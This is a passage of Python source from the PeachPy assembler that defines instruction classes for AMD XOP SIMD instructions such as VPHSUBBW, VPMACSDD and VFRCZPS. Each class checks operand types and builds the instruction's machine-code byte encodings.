super(VPHSUBBW, self).__init__("VPHSUBBW", origin=origin, prototype=prototype)
self.operands = tuple(map(check_operand, args))
if len(self.operands) != 2:
raise SyntaxError("Instruction \"VPHSUBBW\" requires 2 operands")
self.in_regs = (False, True)
self.out_regs = (True, False)
self.out_operands = (True, False)
self.avx_mode = True
self.isa_extensions = frozenset([peachpy.x86_64.isa.xop])
if is_xmm(self.operands[0]) and is_xmm(self.operands[1]):
self.encodings.append((0x00, lambda op: bytearray([0x8F, 0xE9 ^ (op[0].hcode << 7) ^ (op[1].hcode << 5), 0x78, 0xE1, 0xC0 | op[0].lcode << 3 | op[1].lcode])))
elif is_xmm(self.operands[0]) and is_m128(self.operands[1]):
self.encodings.append((0x10, lambda op, sib=False, min_disp=0: vex3(0x8F, 0b1001, 0x00, op[0].hcode, op[1].address) + bytearray([0xE1]) + modrm_sib_disp(op[0].lcode, op[1].address, sib, min_disp)))
else:
raise SyntaxError("Invalid operand types: VPHSUBBW " + ", ".join(map(format_operand_type, self.operands)))
if peachpy.stream.active_stream is not None:
peachpy.stream.active_stream.add_instruction(self)
class VPHSUBWD(Instruction):
"""Packed Horizontal Subtract Signed Word to Signed Doubleword"""
def __init__(self, *args, **kwargs):
"""Supported forms:
* VPHSUBWD(xmm, xmm/m128) [XOP]
"""
origin = kwargs.get("origin")
prototype = kwargs.get("prototype")
if origin is None and prototype is None and peachpy.x86_64.options.get_debug_level() > 0:
origin = inspect.stack()
super(VPHSUBWD, self).__init__("VPHSUBWD", origin=origin, prototype=prototype)
self.operands = tuple(map(check_operand, args))
if len(self.operands) != 2:
raise SyntaxError("Instruction \"VPHSUBWD\" requires 2 operands")
self.in_regs = (False, True)
self.out_regs = (True, False)
self.out_operands = (True, False)
self.avx_mode = True
self.isa_extensions = frozenset([peachpy.x86_64.isa.xop])
if is_xmm(self.operands[0]) and is_xmm(self.operands[1]):
self.encodings.append((0x00, lambda op: bytearray([0x8F, 0xE9 ^ (op[0].hcode << 7) ^ (op[1].hcode << 5), 0x78, 0xE2, 0xC0 | op[0].lcode << 3 | op[1].lcode])))
elif is_xmm(self.operands[0]) and is_m128(self.operands[1]):
self.encodings.append((0x10, lambda op, sib=False, min_disp=0: vex3(0x8F, 0b1001, 0x00, op[0].hcode, op[1].address) + bytearray([0xE2]) + modrm_sib_disp(op[0].lcode, op[1].address, sib, min_disp)))
else:
raise SyntaxError("Invalid operand types: VPHSUBWD " + ", ".join(map(format_operand_type, self.operands)))
if peachpy.stream.active_stream is not None:
peachpy.stream.active_stream.add_instruction(self)
class VPHSUBDQ(Instruction):
"""Packed Horizontal Subtract Signed Doubleword to Signed Quadword"""
def __init__(self, *args, **kwargs):
"""Supported forms:
* VPHSUBDQ(xmm, xmm/m128) [XOP]
"""
origin = kwargs.get("origin")
prototype = kwargs.get("prototype")
if origin is None and prototype is None and peachpy.x86_64.options.get_debug_level() > 0:
origin = inspect.stack()
super(VPHSUBDQ, self).__init__("VPHSUBDQ", origin=origin, prototype=prototype)
self.operands = tuple(map(check_operand, args))
if len(self.operands) != 2:
raise SyntaxError("Instruction \"VPHSUBDQ\" requires 2 operands")
self.in_regs = (False, True)
self.out_regs = (True, False)
self.out_operands = (True, False)
self.avx_mode = True
self.isa_extensions = frozenset([peachpy.x86_64.isa.xop])
if is_xmm(self.operands[0]) and is_xmm(self.operands[1]):
self.encodings.append((0x00, lambda op: bytearray([0x8F, 0xE9 ^ (op[0].hcode << 7) ^ (op[1].hcode << 5), 0x78, 0xE3, 0xC0 | op[0].lcode << 3 | op[1].lcode])))
elif is_xmm(self.operands[0]) and is_m128(self.operands[1]):
self.encodings.append((0x10, lambda op, sib=False, min_disp=0: vex3(0x8F, 0b1001, 0x00, op[0].hcode, op[1].address) + bytearray([0xE3]) + modrm_sib_disp(op[0].lcode, op[1].address, sib, min_disp)))
else:
raise SyntaxError("Invalid operand types: VPHSUBDQ " + ", ".join(map(format_operand_type, self.operands)))
if peachpy.stream.active_stream is not None:
peachpy.stream.active_stream.add_instruction(self)
class VPMACSDQH(Instruction):
"""Packed Multiply Accumulate Signed High Doubleword to Signed Quadword"""
def __init__(self, *args, **kwargs):
"""Supported forms:
* VPMACSDQH(xmm, xmm, xmm/m128, xmm) [XOP]
"""
origin = kwargs.get("origin")
prototype = kwargs.get("prototype")
if origin is None and prototype is None and peachpy.x86_64.options.get_debug_level() > 0:
origin = inspect.stack()
super(VPMACSDQH, self).__init__("VPMACSDQH", origin=origin, prototype=prototype)
self.operands = tuple(map(check_operand, args))
if len(self.operands) != 4:
raise SyntaxError("Instruction \"VPMACSDQH\" requires 4 operands")
self.in_regs = (False, True, True, True)
self.out_regs = (True, False, False, False)
self.out_operands = (True, False, False, False)
self.avx_mode = True
self.isa_extensions = frozenset([peachpy.x86_64.isa.xop])
if is_xmm(self.operands[0]) and is_xmm(self.operands[1]) and is_xmm(self.operands[2]) and is_xmm(self.operands[3]):
self.encodings.append((0x00, lambda op: bytearray([0x8F, 0xE8 ^ (op[0].hcode << 7) ^ (op[2].hcode << 5), 0x78 ^ (op[1].hlcode << 3), 0x9F, 0xC0 | op[0].lcode << 3 | op[2].lcode, op[3].hlcode << 4])))
elif is_xmm(self.operands[0]) and is_xmm(self.operands[1]) and is_m128(self.operands[2]) and is_xmm(self.operands[3]):
self.encodings.append((0x10, lambda op, sib=False, min_disp=0: vex3(0x8F, 0b1000, 0x00, op[0].hcode, op[2].address, op[1].hlcode) + bytearray([0x9F]) + modrm_sib_disp(op[0].lcode, op[2].address, sib, min_disp) + bytearray([op[3].hlcode << 4])))
else:
raise SyntaxError("Invalid operand types: VPMACSDQH " + ", ".join(map(format_operand_type, self.operands)))
if peachpy.stream.active_stream is not None:
peachpy.stream.active_stream.add_instruction(self)
class VPMACSDQL(Instruction):
"""Packed Multiply Accumulate Signed Low Doubleword to Signed Quadword"""
def __init__(self, *args, **kwargs):
"""Supported forms:
* VPMACSDQL(xmm, xmm, xmm/m128, xmm) [XOP]
"""
origin = kwargs.get("origin")
prototype = kwargs.get("prototype")
if origin is None and prototype is None and peachpy.x86_64.options.get_debug_level() > 0:
origin = inspect.stack()
super(VPMACSDQL, self).__init__("VPMACSDQL", origin=origin, prototype=prototype)
self.operands = tuple(map(check_operand, args))
if len(self.operands) != 4:
raise SyntaxError("Instruction \"VPMACSDQL\" requires 4 operands")
self.in_regs = (False, True, True, True)
self.out_regs = (True, False, False, False)
self.out_operands = (True, False, False, False)
self.avx_mode = True
self.isa_extensions = frozenset([peachpy.x86_64.isa.xop])
if is_xmm(self.operands[0]) and is_xmm(self.operands[1]) and is_xmm(self.operands[2]) and is_xmm(self.operands[3]):
self.encodings.append((0x00, lambda op: bytearray([0x8F, 0xE8 ^ (op[0].hcode << 7) ^ (op[2].hcode << 5), 0x78 ^ (op[1].hlcode << 3), 0x97, 0xC0 | op[0].lcode << 3 | op[2].lcode, op[3].hlcode << 4])))
elif is_xmm(self.operands[0]) and is_xmm(self.operands[1]) and is_m128(self.operands[2]) and is_xmm(self.operands[3]):
self.encodings.append((0x10, lambda op, sib=False, min_disp=0: vex3(0x8F, 0b1000, 0x00, op[0].hcode, op[2].address, op[1].hlcode) + bytearray([0x97]) + modrm_sib_disp(op[0].lcode, op[2].address, sib, min_disp) + bytearray([op[3].hlcode << 4])))
else:
raise SyntaxError("Invalid operand types: VPMACSDQL " + ", ".join(map(format_operand_type, self.operands)))
if peachpy.stream.active_stream is not None:
peachpy.stream.active_stream.add_instruction(self)
class VPMACSDD(Instruction):
"""Packed Multiply Accumulate Signed Doubleword to Signed Doubleword"""
def __init__(self, *args, **kwargs):
"""Supported forms:
* VPMACSDD(xmm, xmm, xmm/m128, xmm) [XOP]
"""
origin = kwargs.get("origin")
prototype = kwargs.get("prototype")
if origin is None and prototype is None and peachpy.x86_64.options.get_debug_level() > 0:
origin = inspect.stack()
super(VPMACSDD, self).__init__("VPMACSDD", origin=origin, prototype=prototype)
self.operands = tuple(map(check_operand, args))
if len(self.operands) != 4:
raise SyntaxError("Instruction \"VPMACSDD\" requires 4 operands")
self.in_regs = (False, True, True, True)
self.out_regs = (True, False, False, False)
self.out_operands = (True, False, False, False)
self.avx_mode = True
self.isa_extensions = frozenset([peachpy.x86_64.isa.xop])
if is_xmm(self.operands[0]) and is_xmm(self.operands[1]) and is_xmm(self.operands[2]) and is_xmm(self.operands[3]):
self.encodings.append((0x00, lambda op: bytearray([0x8F, 0xE8 ^ (op[0].hcode << 7) ^ (op[2].hcode << 5), 0x78 ^ (op[1].hlcode << 3), 0x9E, 0xC0 | op[0].lcode << 3 | op[2].lcode, op[3].hlcode << 4])))
elif is_xmm(self.operands[0]) and is_xmm(self.operands[1]) and is_m128(self.operands[2]) and is_xmm(self.operands[3]):
self.encodings.append((0x10, lambda op, sib=False, min_disp=0: vex3(0x8F, 0b1000, 0x00, op[0].hcode, op[2].address, op[1].hlcode) + bytearray([0x9E]) + modrm_sib_disp(op[0].lcode, op[2].address, sib, min_disp) + bytearray([op[3].hlcode << 4])))
else:
raise SyntaxError("Invalid operand types: VPMACSDD " + ", ".join(map(format_operand_type, self.operands)))
if peachpy.stream.active_stream is not None:
peachpy.stream.active_stream.add_instruction(self)
class VPMACSWD(Instruction):
"""Packed Multiply Accumulate Signed Word to Signed Doubleword"""
def __init__(self, *args, **kwargs):
"""Supported forms:
* VPMACSWD(xmm, xmm, xmm/m128, xmm) [XOP]
"""
origin = kwargs.get("origin")
prototype = kwargs.get("prototype")
if origin is None and prototype is None and peachpy.x86_64.options.get_debug_level() > 0:
origin = inspect.stack()
super(VPMACSWD, self).__init__("VPMACSWD", origin=origin, prototype=prototype)
self.operands = tuple(map(check_operand, args))
if len(self.operands) != 4:
raise SyntaxError("Instruction \"VPMACSWD\" requires 4 operands")
self.in_regs = (False, True, True, True)
self.out_regs = (True, False, False, False)
self.out_operands = (True, False, False, False)
self.avx_mode = True
self.isa_extensions = frozenset([peachpy.x86_64.isa.xop])
if is_xmm(self.operands[0]) and is_xmm(self.operands[1]) and is_xmm(self.operands[2]) and is_xmm(self.operands[3]):
self.encodings.append((0x00, lambda op: bytearray([0x8F, 0xE8 ^ (op[0].hcode << 7) ^ (op[2].hcode << 5), 0x78 ^ (op[1].hlcode << 3), 0x96, 0xC0 | op[0].lcode << 3 | op[2].lcode, op[3].hlcode << 4])))
elif is_xmm(self.operands[0]) and is_xmm(self.operands[1]) and is_m128(self.operands[2]) and is_xmm(self.operands[3]):
self.encodings.append((0x10, lambda op, sib=False, min_disp=0: vex3(0x8F, 0b1000, 0x00, op[0].hcode, op[2].address, op[1].hlcode) + bytearray([0x96]) + modrm_sib_disp(op[0].lcode, op[2].address, sib, min_disp) + bytearray([op[3].hlcode << 4])))
else:
raise SyntaxError("Invalid operand types: VPMACSWD " + ", ".join(map(format_operand_type, self.operands)))
if peachpy.stream.active_stream is not None:
peachpy.stream.active_stream.add_instruction(self)
class VPMACSWW(Instruction):
"""Packed Multiply Accumulate Signed Word to Signed Word"""
def __init__(self, *args, **kwargs):
"""Supported forms:
* VPMACSWW(xmm, xmm, xmm/m128, xmm) [XOP]
"""
origin = kwargs.get("origin")
prototype = kwargs.get("prototype")
if origin is None and prototype is None and peachpy.x86_64.options.get_debug_level() > 0:
origin = inspect.stack()
super(VPMACSWW, self).__init__("VPMACSWW", origin=origin, prototype=prototype)
self.operands = tuple(map(check_operand, args))
if len(self.operands) != 4:
raise SyntaxError("Instruction \"VPMACSWW\" requires 4 operands")
self.in_regs = (False, True, True, True)
self.out_regs = (True, False, False, False)
self.out_operands = (True, False, False, False)
self.avx_mode = True
self.isa_extensions = frozenset([peachpy.x86_64.isa.xop])
if is_xmm(self.operands[0]) and is_xmm(self.operands[1]) and is_xmm(self.operands[2]) and is_xmm(self.operands[3]):
self.encodings.append((0x00, lambda op: bytearray([0x8F, 0xE8 ^ (op[0].hcode << 7) ^ (op[2].hcode << 5), 0x78 ^ (op[1].hlcode << 3), 0x95, 0xC0 | op[0].lcode << 3 | op[2].lcode, op[3].hlcode << 4])))
elif is_xmm(self.operands[0]) and is_xmm(self.operands[1]) and is_m128(self.operands[2]) and is_xmm(self.operands[3]):
self.encodings.append((0x10, lambda op, sib=False, min_disp=0: vex3(0x8F, 0b1000, 0x00, op[0].hcode, op[2].address, op[1].hlcode) + bytearray([0x95]) + modrm_sib_disp(op[0].lcode, op[2].address, sib, min_disp) + bytearray([op[3].hlcode << 4])))
else:
raise SyntaxError("Invalid operand types: VPMACSWW " + ", ".join(map(format_operand_type, self.operands)))
if peachpy.stream.active_stream is not None:
peachpy.stream.active_stream.add_instruction(self)
class VPMADCSWD(Instruction):
"""Packed Multiply Add Accumulate Signed Word to Signed Doubleword"""
def __init__(self, *args, **kwargs):
"""Supported forms:
* VPMADCSWD(xmm, xmm, xmm/m128, xmm) [XOP]
"""
origin = kwargs.get("origin")
prototype = kwargs.get("prototype")
if origin is None and prototype is None and peachpy.x86_64.options.get_debug_level() > 0:
origin = inspect.stack()
super(VPMADCSWD, self).__init__("VPMADCSWD", origin=origin, prototype=prototype)
self.operands = tuple(map(check_operand, args))
if len(self.operands) != 4:
raise SyntaxError("Instruction \"VPMADCSWD\" requires 4 operands")
self.in_regs = (False, True, True, True)
self.out_regs = (True, False, False, False)
self.out_operands = (True, False, False, False)
self.avx_mode = True
self.isa_extensions = frozenset([peachpy.x86_64.isa.xop])
if is_xmm(self.operands[0]) and is_xmm(self.operands[1]) and is_xmm(self.operands[2]) and is_xmm(self.operands[3]):
self.encodings.append((0x00, lambda op: bytearray([0x8F, 0xE8 ^ (op[0].hcode << 7) ^ (op[2].hcode << 5), 0x78 ^ (op[1].hlcode << 3), 0xB6, 0xC0 | op[0].lcode << 3 | op[2].lcode, op[3].hlcode << 4])))
elif is_xmm(self.operands[0]) and is_xmm(self.operands[1]) and is_m128(self.operands[2]) and is_xmm(self.operands[3]):
self.encodings.append((0x10, lambda op, sib=False, min_disp=0: vex3(0x8F, 0b1000, 0x00, op[0].hcode, op[2].address, op[1].hlcode) + bytearray([0xB6]) + modrm_sib_disp(op[0].lcode, op[2].address, sib, min_disp) + bytearray([op[3].hlcode << 4])))
else:
raise SyntaxError("Invalid operand types: VPMADCSWD " + ", ".join(map(format_operand_type, self.operands)))
if peachpy.stream.active_stream is not None:
peachpy.stream.active_stream.add_instruction(self)
class VPMACSSDD(Instruction):
"""Packed Multiply Accumulate with Saturation Signed Doubleword to Signed Doubleword"""
def __init__(self, *args, **kwargs):
"""Supported forms:
* VPMACSSDD(xmm, xmm, xmm/m128, xmm) [XOP]
"""
origin = kwargs.get("origin")
prototype = kwargs.get("prototype")
if origin is None and prototype is None and peachpy.x86_64.options.get_debug_level() > 0:
origin = inspect.stack()
super(VPMACSSDD, self).__init__("VPMACSSDD", origin=origin, prototype=prototype)
self.operands = tuple(map(check_operand, args))
if len(self.operands) != 4:
raise SyntaxError("Instruction \"VPMACSSDD\" requires 4 operands")
self.in_regs = (False, True, True, True)
self.out_regs = (True, False, False, False)
self.out_operands = (True, False, False, False)
self.avx_mode = True
self.isa_extensions = frozenset([peachpy.x86_64.isa.xop])
if is_xmm(self.operands[0]) and is_xmm(self.operands[1]) and is_xmm(self.operands[2]) and is_xmm(self.operands[3]):
self.encodings.append((0x00, lambda op: bytearray([0x8F, 0xE8 ^ (op[0].hcode << 7) ^ (op[2].hcode << 5), 0x78 ^ (op[1].hlcode << 3), 0x8E, 0xC0 | op[0].lcode << 3 | op[2].lcode, op[3].hlcode << 4])))
elif is_xmm(self.operands[0]) and is_xmm(self.operands[1]) and is_m128(self.operands[2]) and is_xmm(self.operands[3]):
self.encodings.append((0x10, lambda op, sib=False, min_disp=0: vex3(0x8F, 0b1000, 0x00, op[0].hcode, op[2].address, op[1].hlcode) + bytearray([0x8E]) + modrm_sib_disp(op[0].lcode, op[2].address, sib, min_disp) + bytearray([op[3].hlcode << 4])))
else:
raise SyntaxError("Invalid operand types: VPMACSSDD " + ", ".join(map(format_operand_type, self.operands)))
if peachpy.stream.active_stream is not None:
peachpy.stream.active_stream.add_instruction(self)
class VPMACSSDQH(Instruction):
"""Packed Multiply Accumulate with Saturation Signed High Doubleword to Signed Quadword"""
def __init__(self, *args, **kwargs):
"""Supported forms:
* VPMACSSDQH(xmm, xmm, xmm/m128, xmm) [XOP]
"""
origin = kwargs.get("origin")
prototype = kwargs.get("prototype")
if origin is None and prototype is None and peachpy.x86_64.options.get_debug_level() > 0:
origin = inspect.stack()
super(VPMACSSDQH, self).__init__("VPMACSSDQH", origin=origin, prototype=prototype)
self.operands = tuple(map(check_operand, args))
if len(self.operands) != 4:
raise SyntaxError("Instruction \"VPMACSSDQH\" requires 4 operands")
self.in_regs = (False, True, True, True)
self.out_regs = (True, False, False, False)
self.out_operands = (True, False, False, False)
self.avx_mode = True
self.isa_extensions = frozenset([peachpy.x86_64.isa.xop])
if is_xmm(self.operands[0]) and is_xmm(self.operands[1]) and is_xmm(self.operands[2]) and is_xmm(self.operands[3]):
self.encodings.append((0x00, lambda op: bytearray([0x8F, 0xE8 ^ (op[0].hcode << 7) ^ (op[2].hcode << 5), 0x78 ^ (op[1].hlcode << 3), 0x8F, 0xC0 | op[0].lcode << 3 | op[2].lcode, op[3].hlcode << 4])))
elif is_xmm(self.operands[0]) and is_xmm(self.operands[1]) and is_m128(self.operands[2]) and is_xmm(self.operands[3]):
self.encodings.append((0x10, lambda op, sib=False, min_disp=0: vex3(0x8F, 0b1000, 0x00, op[0].hcode, op[2].address, op[1].hlcode) + bytearray([0x8F]) + modrm_sib_disp(op[0].lcode, op[2].address, sib, min_disp) + bytearray([op[3].hlcode << 4])))
else:
raise SyntaxError("Invalid operand types: VPMACSSDQH " + ", ".join(map(format_operand_type, self.operands)))
if peachpy.stream.active_stream is not None:
peachpy.stream.active_stream.add_instruction(self)
class VPMACSSDQL(Instruction):
"""Packed Multiply Accumulate with Saturation Signed Low Doubleword to Signed Quadword"""
def __init__(self, *args, **kwargs):
"""Supported forms:
* VPMACSSDQL(xmm, xmm, xmm/m128, xmm) [XOP]
"""
origin = kwargs.get("origin")
prototype = kwargs.get("prototype")
if origin is None and prototype is None and peachpy.x86_64.options.get_debug_level() > 0:
origin = inspect.stack()
super(VPMACSSDQL, self).__init__("VPMACSSDQL", origin=origin, prototype=prototype)
self.operands = tuple(map(check_operand, args))
if len(self.operands) != 4:
raise SyntaxError("Instruction \"VPMACSSDQL\" requires 4 operands")
self.in_regs = (False, True, True, True)
self.out_regs = (True, False, False, False)
self.out_operands = (True, False, False, False)
self.avx_mode = True
self.isa_extensions = frozenset([peachpy.x86_64.isa.xop])
if is_xmm(self.operands[0]) and is_xmm(self.operands[1]) and is_xmm(self.operands[2]) and is_xmm(self.operands[3]):
self.encodings.append((0x00, lambda op: bytearray([0x8F, 0xE8 ^ (op[0].hcode << 7) ^ (op[2].hcode << 5), 0x78 ^ (op[1].hlcode << 3), 0x87, 0xC0 | op[0].lcode << 3 | op[2].lcode, op[3].hlcode << 4])))
elif is_xmm(self.operands[0]) and is_xmm(self.operands[1]) and is_m128(self.operands[2]) and is_xmm(self.operands[3]):
self.encodings.append((0x10, lambda op, sib=False, min_disp=0: vex3(0x8F, 0b1000, 0x00, op[0].hcode, op[2].address, op[1].hlcode) + bytearray([0x87]) + modrm_sib_disp(op[0].lcode, op[2].address, sib, min_disp) + bytearray([op[3].hlcode << 4])))
else:
raise SyntaxError("Invalid operand types: VPMACSSDQL " + ", ".join(map(format_operand_type, self.operands)))
if peachpy.stream.active_stream is not None:
peachpy.stream.active_stream.add_instruction(self)
class VPMACSSWD(Instruction):
"""Packed Multiply Accumulate with Saturation Signed Word to Signed Doubleword"""
def __init__(self, *args, **kwargs):
"""Supported forms:
* VPMACSSWD(xmm, xmm, xmm/m128, xmm) [XOP]
"""
origin = kwargs.get("origin")
prototype = kwargs.get("prototype")
if origin is None and prototype is None and peachpy.x86_64.options.get_debug_level() > 0:
origin = inspect.stack()
super(VPMACSSWD, self).__init__("VPMACSSWD", origin=origin, prototype=prototype)
self.operands = tuple(map(check_operand, args))
if len(self.operands) != 4:
raise SyntaxError("Instruction \"VPMACSSWD\" requires 4 operands")
self.in_regs = (False, True, True, True)
self.out_regs = (True, False, False, False)
self.out_operands = (True, False, False, False)
self.avx_mode = True
self.isa_extensions = frozenset([peachpy.x86_64.isa.xop])
if is_xmm(self.operands[0]) and is_xmm(self.operands[1]) and is_xmm(self.operands[2]) and is_xmm(self.operands[3]):
self.encodings.append((0x00, lambda op: bytearray([0x8F, 0xE8 ^ (op[0].hcode << 7) ^ (op[2].hcode << 5), 0x78 ^ (op[1].hlcode << 3), 0x86, 0xC0 | op[0].lcode << 3 | op[2].lcode, op[3].hlcode << 4])))
elif is_xmm(self.operands[0]) and is_xmm(self.operands[1]) and is_m128(self.operands[2]) and is_xmm(self.operands[3]):
self.encodings.append((0x10, lambda op, sib=False, min_disp=0: vex3(0x8F, 0b1000, 0x00, op[0].hcode, op[2].address, op[1].hlcode) + bytearray([0x86]) + modrm_sib_disp(op[0].lcode, op[2].address, sib, min_disp) + bytearray([op[3].hlcode << 4])))
else:
raise SyntaxError("Invalid operand types: VPMACSSWD " + ", ".join(map(format_operand_type, self.operands)))
if peachpy.stream.active_stream is not None:
peachpy.stream.active_stream.add_instruction(self)
class VPMACSSWW(Instruction):
"""Packed Multiply Accumulate with Saturation Signed Word to Signed Word"""
def __init__(self, *args, **kwargs):
"""Supported forms:
* VPMACSSWW(xmm, xmm, xmm/m128, xmm) [XOP]
"""
origin = kwargs.get("origin")
prototype = kwargs.get("prototype")
if origin is None and prototype is None and peachpy.x86_64.options.get_debug_level() > 0:
origin = inspect.stack()
super(VPMACSSWW, self).__init__("VPMACSSWW", origin=origin, prototype=prototype)
self.operands = tuple(map(check_operand, args))
if len(self.operands) != 4:
raise SyntaxError("Instruction \"VPMACSSWW\" requires 4 operands")
self.in_regs = (False, True, True, True)
self.out_regs = (True, False, False, False)
self.out_operands = (True, False, False, False)
self.avx_mode = True
self.isa_extensions = frozenset([peachpy.x86_64.isa.xop])
if is_xmm(self.operands[0]) and is_xmm(self.operands[1]) and is_xmm(self.operands[2]) and is_xmm(self.operands[3]):
self.encodings.append((0x00, lambda op: bytearray([0x8F, 0xE8 ^ (op[0].hcode << 7) ^ (op[2].hcode << 5), 0x78 ^ (op[1].hlcode << 3), 0x85, 0xC0 | op[0].lcode << 3 | op[2].lcode, op[3].hlcode << 4])))
elif is_xmm(self.operands[0]) and is_xmm(self.operands[1]) and is_m128(self.operands[2]) and is_xmm(self.operands[3]):
self.encodings.append((0x10, lambda op, sib=False, min_disp=0: vex3(0x8F, 0b1000, 0x00, op[0].hcode, op[2].address, op[1].hlcode) + bytearray([0x85]) + modrm_sib_disp(op[0].lcode, op[2].address, sib, min_disp) + bytearray([op[3].hlcode << 4])))
else:
raise SyntaxError("Invalid operand types: VPMACSSWW " + ", ".join(map(format_operand_type, self.operands)))
if peachpy.stream.active_stream is not None:
peachpy.stream.active_stream.add_instruction(self)
class VPMADCSSWD(Instruction):
"""Packed Multiply Add Accumulate with Saturation Signed Word to Signed Doubleword"""
def __init__(self, *args, **kwargs):
"""Supported forms:
* VPMADCSSWD(xmm, xmm, xmm/m128, xmm) [XOP]
"""
origin = kwargs.get("origin")
prototype = kwargs.get("prototype")
if origin is None and prototype is None and peachpy.x86_64.options.get_debug_level() > 0:
origin = inspect.stack()
super(VPMADCSSWD, self).__init__("VPMADCSSWD", origin=origin, prototype=prototype)
self.operands = tuple(map(check_operand, args))
if len(self.operands) != 4:
raise SyntaxError("Instruction \"VPMADCSSWD\" requires 4 operands")
self.in_regs = (False, True, True, True)
self.out_regs = (True, False, False, False)
self.out_operands = (True, False, False, False)
self.avx_mode = True
self.isa_extensions = frozenset([peachpy.x86_64.isa.xop])
if is_xmm(self.operands[0]) and is_xmm(self.operands[1]) and is_xmm(self.operands[2]) and is_xmm(self.operands[3]):
self.encodings.append((0x00, lambda op: bytearray([0x8F, 0xE8 ^ (op[0].hcode << 7) ^ (op[2].hcode << 5), 0x78 ^ (op[1].hlcode << 3), 0xA6, 0xC0 | op[0].lcode << 3 | op[2].lcode, op[3].hlcode << 4])))
elif is_xmm(self.operands[0]) and is_xmm(self.operands[1]) and is_m128(self.operands[2]) and is_xmm(self.operands[3]):
self.encodings.append((0x10, lambda op, sib=False, min_disp=0: vex3(0x8F, 0b1000, 0x00, op[0].hcode, op[2].address, op[1].hlcode) + bytearray([0xA6]) + modrm_sib_disp(op[0].lcode, op[2].address, sib, min_disp) + bytearray([op[3].hlcode << 4])))
else:
raise SyntaxError("Invalid operand types: VPMADCSSWD " + ", ".join(map(format_operand_type, self.operands)))
if peachpy.stream.active_stream is not None:
peachpy.stream.active_stream.add_instruction(self)
class VFRCZSS(Instruction):
"""Extract Fraction Scalar Single-Precision Floating Point"""
def __init__(self, *args, **kwargs):
"""Supported forms:
* VFRCZSS(xmm, xmm/m32) [XOP]
"""
origin = kwargs.get("origin")
prototype = kwargs.get("prototype")
if origin is None and prototype is None and peachpy.x86_64.options.get_debug_level() > 0:
origin = inspect.stack()
super(VFRCZSS, self).__init__("VFRCZSS", origin=origin, prototype=prototype)
self.operands = tuple(map(check_operand, args))
if len(self.operands) != 2:
raise SyntaxError("Instruction \"VFRCZSS\" requires 2 operands")
self.in_regs = (False, True)
self.out_regs = (True, False)
self.out_operands = (True, False)
self.avx_mode = True
self.isa_extensions = frozenset([peachpy.x86_64.isa.xop])
if is_xmm(self.operands[0]) and is_xmm(self.operands[1]):
self.encodings.append((0x00, lambda op: bytearray([0x8F, 0xE9 ^ (op[0].hcode << 7) ^ (op[1].hcode << 5), 0x78, 0x82, 0xC0 | op[0].lcode << 3 | op[1].lcode])))
elif is_xmm(self.operands[0]) and is_m32(self.operands[1]):
self.encodings.append((0x10, lambda op, sib=False, min_disp=0: vex3(0x8F, 0b1001, 0x00, op[0].hcode, op[1].address) + bytearray([0x82]) + modrm_sib_disp(op[0].lcode, op[1].address, sib, min_disp)))
else:
raise SyntaxError("Invalid operand types: VFRCZSS " + ", ".join(map(format_operand_type, self.operands)))
if peachpy.stream.active_stream is not None:
peachpy.stream.active_stream.add_instruction(self)
class VFRCZSD(Instruction):
"""Extract Fraction Scalar Double-Precision Floating-Point"""
def __init__(self, *args, **kwargs):
"""Supported forms:
* VFRCZSD(xmm, xmm/m64) [XOP]
"""
origin = kwargs.get("origin")
prototype = kwargs.get("prototype")
if origin is None and prototype is None and peachpy.x86_64.options.get_debug_level() > 0:
origin = inspect.stack()
super(VFRCZSD, self).__init__("VFRCZSD", origin=origin, prototype=prototype)
self.operands = tuple(map(check_operand, args))
if len(self.operands) != 2:
raise SyntaxError("Instruction \"VFRCZSD\" requires 2 operands")
self.in_regs = (False, True)
self.out_regs = (True, False)
self.out_operands = (True, False)
self.avx_mode = True
self.isa_extensions = frozenset([peachpy.x86_64.isa.xop])
if is_xmm(self.operands[0]) and is_xmm(self.operands[1]):
self.encodings.append((0x00, lambda op: bytearray([0x8F, 0xE9 ^ (op[0].hcode << 7) ^ (op[1].hcode << 5), 0x78, 0x83, 0xC0 | op[0].lcode << 3 | op[1].lcode])))
elif is_xmm(self.operands[0]) and is_m64(self.operands[1]):
self.encodings.append((0x10, lambda op, sib=False, min_disp=0: vex3(0x8F, 0b1001, 0x00, op[0].hcode, op[1].address) + bytearray([0x83]) + modrm_sib_disp(op[0].lcode, op[1].address, sib, min_disp)))
else:
raise SyntaxError("Invalid operand types: VFRCZSD " + ", ".join(map(format_operand_type, self.operands)))
if peachpy.stream.active_stream is not None:
peachpy.stream.active_stream.add_instruction(self)
class VFRCZPS(Instruction):
"""Extract Fraction Packed Single-Precision Floating-Point"""
def __init__(self, *args, **kwargs):
"""Supported forms:
* VFRCZPS(xmm, xmm/m128) [XOP]
* VFRCZPS(ymm, ymm/m256) [XOP]
"""
origin = kwargs.get("origin")
prototype = kwargs.get("prototype")
if origin is None and prototype is None and peachpy.x86_64.options.get_debug_level() > 0:
origin = inspect.stack()
super(VFRCZPS, self).__init__("VFRCZPS", origin=origin, prototype=prototype)
self.operands = tuple(map(check_operand, args))
if len(self.operands) != 2:
raise SyntaxError("Instruction \"VFRCZPS\" requires 2 operands")
self.in_regs = (False, True)
self.out_regs = (True, False)
self.out_operands = (True, False)
self.avx_mode = True
self.isa_extensions = frozenset([peachpy.x86_64.isa.xop])
if is_xmm(self.operands[0]) and is_xmm(self.operands[1]):
self.encodings.append((0x00, lambda op: bytearray([0x8F, 0xE9 ^ (op[0].hcode << 7) ^ (op[1].hcode << 5), 0x78, 0x80, 0xC0 | op[0].lcode << 3 | op[1].lcode])))
elif is_xmm(self.operands[0]) and is_m128(self.operands[1]):
self.encodings.append((0x10, lambda op, sib=False, min_disp=0: vex3(0x8F, 0b1001, 0x00, op[0].hcode, op[1].address) + bytearray([0x80]) + modrm_sib_disp(op[0].lcode, op[1].address, sib, min_disp)))
elif is_ymm(self.operands[0]) and is_ymm(self.operands[1]):
self.encodings.append((0x00, lambda op: bytearray([0x8F, 0xE9 ^ (op[0].hcode << 7) ^ (op[1].hcode << 5), 0x7C, 0x80, 0xC0 | op[0].lcode << 3 | op[1].lcode])))
elif is_ymm(self.operands[0]) and is_m256(self.operands[1]):
self.encodings.append((0x10, lambda op, sib=False, min_disp=0: vex3(0x8F, 0b1001, 0x04, op[0].hcode, op[1].address) + bytearray([0x80]) + modrm_sib_disp(op[0].lcode, op[1].address, sib, min_disp)))
else:
raise SyntaxError("Invalid operand types: VFRCZPS " + ", ".join(map(format_operand_type, self.operands)))
if peachpy.stream.active_stream is not None:
peachpy.stream.active_stream.add_instruction(self)
class VFRCZPD(Instruction):
